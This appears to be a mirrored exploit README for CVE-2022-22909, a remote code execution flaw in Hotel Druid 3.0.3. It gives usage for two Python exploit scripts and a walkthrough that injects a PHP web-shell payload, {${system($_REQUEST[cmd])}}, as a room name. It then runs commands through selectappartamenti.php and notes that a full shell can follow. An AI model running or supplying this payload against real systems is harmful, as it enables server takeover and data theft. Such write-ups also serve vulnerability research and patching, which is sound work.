Share 
## https://sploitus.com/exploit?id=83DDB0BC-0474-5AA2-A1AE-DC372D63CFFA
# CVE-2022-22909 Hotel Druid 3.0.3 - Remote Code Execution (RCE) 
## Exploit by kaal

### Exploits

1. HotelDruidExploit.py

This Exploit will create new room with our PHP payload as a room name .


Usage :
`$ ./HotelDruidExploit.py -h`

![image](https://user-images.githubusercontent.com/55247170/158230509-250bac60-31b3-484e-b463-99625986fb6f.png)

`$ ./HotelDruidExploit.py -u http://127.0.0.1/hoteldruid`

![image](https://user-images.githubusercontent.com/55247170/158230966-fe02d67a-a412-40fb-ab54-9313a815716e.png)

***

2. HotelDruidExploitRoom.py

This Exploit will work if you already know the Room name .

Usage :
`$ ./HotelDruidExploitRoom.py -u "http://127.0.0.1/hoteldruid" -r "abc"`

![image](https://user-images.githubusercontent.com/55247170/158232089-101af40d-0dda-4da5-b213-795a93591c1f.png)


---

## Exploit Walkthrough :

1). Navigate to Hotel Druid page.

2). Click on Tables -> Rooms 

![image](https://user-images.githubusercontent.com/55247170/158225763-af8ab60f-0f21-4d80-8e73-7ebee1bdffae.png)

3). In Create New Room field add below php code , and click on Add. 

`{${system($_REQUEST[cmd])}}`

![image](https://user-images.githubusercontent.com/55247170/158226484-24418d1e-9f25-4b63-a3f8-7199b4194282.png)

4). You will see new room with our payload in the "Room" name field .

![image](https://user-images.githubusercontent.com/55247170/158226660-7c564bfe-c722-4102-8cb5-634086ec4d5b.png)

5). Go to below link and you will get command Execution , Later you can get Full shell 

http://127.0.0.1/hoteldruid/dati/selectappartamenti.php?cmd=whoami


Note : Change the Ip with your hoteldruid target IP.

## Vulnerability Description :

This vulnerability occurs because room names are getting stored inside `/var/www/html/hoteldruid/dati/selectappartamenti.php`

![image](https://user-images.githubusercontent.com/55247170/158227603-54ada157-17bd-41cb-98cb-3dbd22897ab1.png)

And `selectappartamenti.php` is a PHP file so any PHP code inside that file will get executed by the server.